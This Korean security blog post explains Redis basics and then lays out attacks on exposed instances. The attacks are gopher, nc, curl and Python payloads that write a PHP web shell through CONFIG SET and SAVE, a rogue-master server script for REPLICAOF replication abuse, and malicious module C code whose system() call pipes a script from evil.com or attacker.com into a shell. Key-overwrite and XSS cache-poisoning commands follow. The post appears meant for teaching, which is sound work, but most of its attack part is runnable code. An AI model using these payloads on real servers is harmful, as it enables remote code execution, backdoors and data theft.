Redis란?
Redis(Remote Dlctionary Server)는 In-Memory 기반의 Key-Value 데이터 저장소로, 초고속의 데이터 처리를 위해 메모리 기반으로 설계된 NoSQL 데이터 베이스이다.
아래와 같은 특징을 가진다.
- 오픈소스 (BSD License)
- 싱글 스레드 기반
- 비정형 데이터 구조 (String, List, Hash, Set, Sorted Set 등)
- 캐시, 세션 저장소, Pub/Sub. Queue, 리더보드 등 다양한 용도로 사용됨
- 고성능, 낮은 지연(latency), 높은 처리량(throughput)
- 6379 포트 사
Redis 구조
Redis Server | 모든 요청을 처리하며, 데이터는 메모리에서 저장됨 |
Redis Client | 다양한 언어로 클라이언트 라이브러리를 지원 (Python, Go, Java 등) |
RDB Snapshot | 주기적인 스냅샷으로 디스크에 데이터를 저장 (cold recovery용) |
AOF(Append Only File) | 모든 write operation을 append하여 영속성 강화 |
Replication | Master-Slave 구조를 통한 읽기 부하 분산 및 HA |
Sentinel | 장애 조치(failover), 모니터링, 알림 기능 제공 |
Cluster | 데이터를 분산 저장하여 수평 확장 지원 |
주요 데이터 구조
String | 가장 기본적인 타입. 문자, 숫자, JSON 등 저장 가능 | SET key "value" |
List | 연결 리스트 형태, FIFO 큐 등 구현 가능 | RPUSH mylist A B C, LPOP mylist |
Hash | 필드-값의 쌍을 저장 (작은 객체 구조) | HSET user:1 name "alice" |
Set | 중복 없는 집합 (순서 없음), 집합 연산 가능 | SADD tags redis nosql |
Sorted Set | 점수(score)에 따라 정렬된 집합, 리더보드 등에 사용 | ZADD ranking 100 "alice" |
주요 명령어
SET key value | 문자열 값 저장 |
GET key | 값 조회 |
DEL key | 키 삭제 |
EXPIRE key seconds | TTL 설정 |
INCR key | 값 증가 (숫자일 경우) |
LPUSH key value | 리스트 앞에 값 추가 |
LPOP key | 리스트 앞에서 값 꺼내기 |
HSET key field value | 해시 필드 설정 |
HGET key field | 해시 필드 조회 |
SADD key value | 셋에 값 추가 |
SMEMBERS key | 셋의 모든 값 조회 |
ZADD key score value | 정렬된 셋 추가 |
ZRANGE key 0 -1 WITHSCORES | 정렬된 셋 조회 (전체) |
Redis 저장소 메커니즘
Redis는 기본적으로 데이터를 RAM에 저장하지만 영소성을 위해 2가지의 디스크 저장 기능을 제공한다.
- RDB : 특정 시점의 Snapshot을 파일로 저장 (dump.rdb)
- AOF : 모든 Write Operation을 로그로 저장
AOF + RDB를 함께 사용하면 데이터 안전성과 복구 속도를 균형 있게 확보할 수 있다.
Redis 동작 구조
+-------------------+
| Redis Client |
+-------------------+
|
| (RESP 프로토콜 기반 TCP 통신)
v
+-------------------+
| Redis Server |
+-------------------+
|
+------------+------------+
| |
In-Memory Persistence
(RDB / AOF)
보안 관점에서의 Redis 특징
취약점 | 설명 |
인증 없음 (기본 설정) | 비인가 접근 우려 (redis-cli로 누구나 접근 가능) |
CONFIG, SAVE, SLAVEOF 오용 | 파일 쓰기 가능하여 RCE로 악용될 수 있음 |
바인딩 주소 미설정 | 외부 노출시 심각한 공격 가능 (bind 127.0.0.1) |
악의적 마스터 등록 | SLAVEOF 명령어를 이용해 악성 Redis에 동기화 가능 |
Redis RCE 기법 존재 | CONFIG set dir /var/www && CONFIG set dbfilename shell.php && SAVE |
Redis SSRF
Redis는 기본적으로 TCP 통신 기반이며 인증이 없는 상태에서는 누구나 접속할 수 있다.
특히 SSRF 환경에서 Redis 포트를 오픈한 서버에 gopher:// 프로토콜을 이용해 raw명령어를 주입할 수 있다면 Redis 명령어를 SSRF로 전달하여 파일 쓰기, RCE, 권한 변경까지 가능하다.
Gopher 기반 SSRF
gopher://127.0.0.1:6379 로 Redis에 직접 명령어 삽입하여 웹쉘을 포함한 파일을 서버에 작성
1. SSRF → Redis (gopher)
2. Redis 명령어 삽입
3. Redis가 웹 루트 경로에 웹쉘을 저장
4. 공격자는 웹쉘 실행
# gopher로 웹쉘 작성 (PHP 예시)
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20payload%20"<?php%20system($_GET['cmd']);?>"%0D%0ASAVE%0D%0A
nc를 이용한 SSRF
nc 127.0.0.1 6379
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['cmd']); ?>"
SAVE
curl을 이용한 SSRF
curl --data-binary $'CONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET x "<?php system($_GET[\'cmd\']); ?>"\r\nSAVE\r\n' \
http://127.0.0.1:6379
Python socket 활용 SSRF
import socket
payload = (
"CONFIG SET dir /var/www/html\r\n"
"CONFIG SET dbfilename shell.php\r\n"
'SET x "<?php system($_GET[\'cmd\']); ?>"\r\n'
"SAVE\r\n"
)
s = socket.socket()
s.connect(('127.0.0.1', 6379))
s.send(payload.encode())
print(s.recv(1024).decode())
s.close()
file:// 및 dict:// SSRF
http://vulnerable-server.com/fetch?url=file:///var/lib/redis/dump.rdb
dict://localhost:6379
RESP 프로토콜 구조에 따른 Redis 명령어 주입 포맷
*3
$3
SET
$3
key
$5
value
이러한 구조를 그대로 URL에 인코딩 해서 다양한 방법으로 직접 전송하면 Redis는 정상적으로 파싱하게 된다.
*3 → 인자 3개 (총 3개의 토큰)
$3 → 첫 번째 인자의 길이는 3바이트
SET → 첫 번째 인자 = "SET" (Redis 명령어)
$3 → 두 번째 인자의 길이는 3바이트
key → 두 번째 인자 = "key" (키 이름)
$5 → 세 번째 인자의 길이는 5바이트
value → 세 번째 인자 = "value" (저장할 값)
1. nc 사용
(echo -en '*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n'; sleep 1) | nc 127.0.0.1 6379
2. gopher:// 사용
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Akey%0D%0A$5%0D%0Avalue%0D%0A
3. python 소캣 사용
cmd = "*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n"
sock.send(cmd.encode())
- Replication (Maste-Slave)
- 데이터 복제 및 읽기 분산용 구조. 단일 마스터가 쓰기를 담당하며 슬레이브는 읽기 전용
- Sentinel
- 마스터의 장애를 감지하고 자동으로 슬레이브를 승격 (Failover)
- Cluster
- 데이터를 슬롯 (0~16383)에 분산하여 저장하고 수평 확장 가능
SLAVEOF/ REPLICAOF
Redis가 외부에서 아무런 접근제어 없이 노출되어 있는 경우, 악의적인 공격자들은 SLAVEOF 혹은 REPLICAOF명령어를 악용하여 악성 Redis 복제 공격을 사용하여 인증 우회, RCE, 내부 피벗 등을 수행한다.
SLAVEOF/REPLICAOF 기본 개념
SLAVEOF 또는 REPLICAOF 명령은 Redis 인스턴스를 다른 Redis 인스턴스의 복제본(replica)으로 만드는 명령이다.
REPLICAOF <master_ip> <master_port>
# 예시
REPLICAOF 192.168.1.100 6379
Redis 5.0 이후 SLAVEOF는 REPLICAOF로 이름이 변경되었음며, 동작은 동일하다.
복제가 시작되면 Master Reuds는 RDB 파일(dump.rdb)을 전송하고, Slave는 이를 수신 후 적용한다.
시나리오
- 공격 대상 Redis 서버에 인증이 없거나 혹은 우회
- 공격자는 자신이 제어하는 악성 Redis 서버 구축( nc -l 8888 -kv)
- 대상 서버에 REPLICAOF <악성서버 IP> <PORT> 명령 전송
- 대상 Redis는 Master로부터 RDB 파일 수신
- RDB 파일 안에 악의적인 데이터(백도어, Cron job)가 포함
- Redis는 RDB 파일을 /var/lib/reids/dump.rdb로 저장
- 악성 RDB에는 Redis Module, cron 등록, SSH Key 삽입 등이 포함되어 있을 수 있음.
공격자 측 Redis 악성 서버 구축
import socket
HOST = '0.0.0.0'
PORT = 6379
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
print('Connected by', addr)
payload = open("evil.rdb", "rb").read()
conn.send(b"+FULLRESYNC 1234567890 1\r\n")
conn.send(b"$" + str(len(payload)).encode() + b"\r\n")
conn.send(payload)
conn.send(b"\r\n")
[공격자 서버] ─────┐
│
┌────▼─────┐
│ 피해자 Redis │
└────┬─────┘
│ 1. SLAVEOF 공격자IP
▼
[악성 RDB 전송 및 저장]
▼
[crontab 등록 or SSH 백도어]
▼
[원격 명령 실행 / 탈취]
RedisModuleSDK 기반 MODULE LOAD 공격
Redis의 동적 모듈 로딩 기능을 이용해 임의의 C코드(.so 동적 라이브러리)를 Redis 내부로 주입해 RCE 공격을 수행할 수 있다.
이는 Redis가 .so 파일을 로딩하여 고급 기능을 확장하도록 설계되었지만, 공격자에게는 루트 수준의 코드 실행 권한의 백도어가 된다.
Redis Moudle의 동작 구조
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
// 명령어 등록
RedisModule_CreateCommand(ctx, "backdoor.exec", CommandExec, "write", 1, 1, 1);
return REDISMODULE_OK;
}
int CommandExec(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
system("bash -c 'curl http://evil.com/shell.sh | sh'");
RedisModule_ReplyWithSimpleString(ctx, "done");
return REDISMODULE_OK;
}
해당 모듈이 로드되면 Redis 명령어로 backdoor.exec을 실행할 수 있게 된다.
공격 절차
악성 모듈(.so) 생성
// 파일명: evilmodule.c
#include "redismodule.h"
#include <stdlib.h>
int RunCmd(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
system("touch /tmp/pwned && curl http://attacker.com/rce.sh | bash");
RedisModule_ReplyWithSimpleString(ctx, "exploit triggered");
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx) {
if (RedisModule_Init(ctx, "exploit", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return RedisModule_CreateCommand(ctx, "exploit.run", RunCmd, "write", 0, 0, 0);
}
컴파일
gcc -fPIC -shared -o evil.so evilmodule.c -I/usr/include/hiredis -I./deps -std=gnu99
.so 파일 로딩
Redis 클라이언트 접속 후:
MODULE LOAD /tmp/evil.so
.so 파일이 HTTP로 접근 가능하다면 Redis 서버에서 curl/wget이 가능한 경우:
CONFIG SET dir /tmp
CONFIG SET dbfilename evil.so
SET x "\n<evil .so binary payload here>\n"
SAVE
MODULE LOAD /tmp/evil.so
일반적으로 base64 인코딩 후 Redis SET 명령으로 전달한 뒤, Redis가 .so 파일을 파일 시스템에 저장하게 만드는 방식이다.
이후 최종적으로 exploit.run을 통해 실행할 수 있다.
캐시 분리
Redis 캐시가 분리되지 않고 단독으로 사용될 경우 보안 문제가 발생한다.
즉, 모든 캐시가 동일한 Redis 인스턴스에 저장되게 되면 권한이 없는 사용자가 page 캐시 영역에 접근할 수 있다.
KEYS *, GET, DEL, SET 등의 Redis 명령어로 세션 데이터까지 조회 및 조작이 가능하다.
Redis Key(중복 키)
Redis에서 서로 다른 로직이나 서비스가 같은 키를 중복으로 사용할 경우, 공격자는 이 충돌을 이용해 타인의 데이터나 인증 정보를 덮어쓰거나 탈취할 수 있다.
Multi-tenancy, 인증 캐시, API Rate-limit 등의 환경에서 권한 상승, 세션 탈취 ,인증 우회, Rate Limit 우회 등으로 이어질 수 있다.
이는 Redis의 SET, GET이 동일한 키에 대해 "덮어 쓰기"를 허용하는 구조에서 발생한다.
기본 동작
SET session:123 {"user":"userA"}
GET session:123
→ {"user":"userA"}
SET session:123 {"user":"attacker"}
GET session:123
→ {"user":"attacker"} (덮어쓰기)
별도의 테넌트 분리/네임스페이스 정책이 없을 경우, 다른 사용자의 데이터를 덮어 쓸 수 있게 된다.
Redis는 중복 키가 존재하면 가장 마지막 요청이 우선시 된다.
# 공격자(user_id = 999)가 다음 명령을 Redis에 보냄
SET session:123 {"user":"attacker","role":"admin"}
# 특정 IP를 우회하고 싶은 공격자가
SET ratelimit:192.168.0.2:/api/transfer 0
SET cache:/product?id=1 "<script>alert('xss')</script>"
이후 모든 사용자에게 악성 HTML이 Redis 캐시에서 제공됨
'Web > Web Hacking Techniques' 카테고리의 다른 글
MongoDB (MongoDB Injection) (0) | 2025.05.16 |
---|---|
Apache CouchDB (CouchDB Injection) (0) | 2025.05.15 |
DOM Clobbering (0) | 2025.05.14 |
Flask Debugger (Console Mode) Vulnerabilities (0) | 2025.05.13 |
브라우저의 URL 정규화 방식(Proxy Tool Bypass) (0) | 2025.05.13 |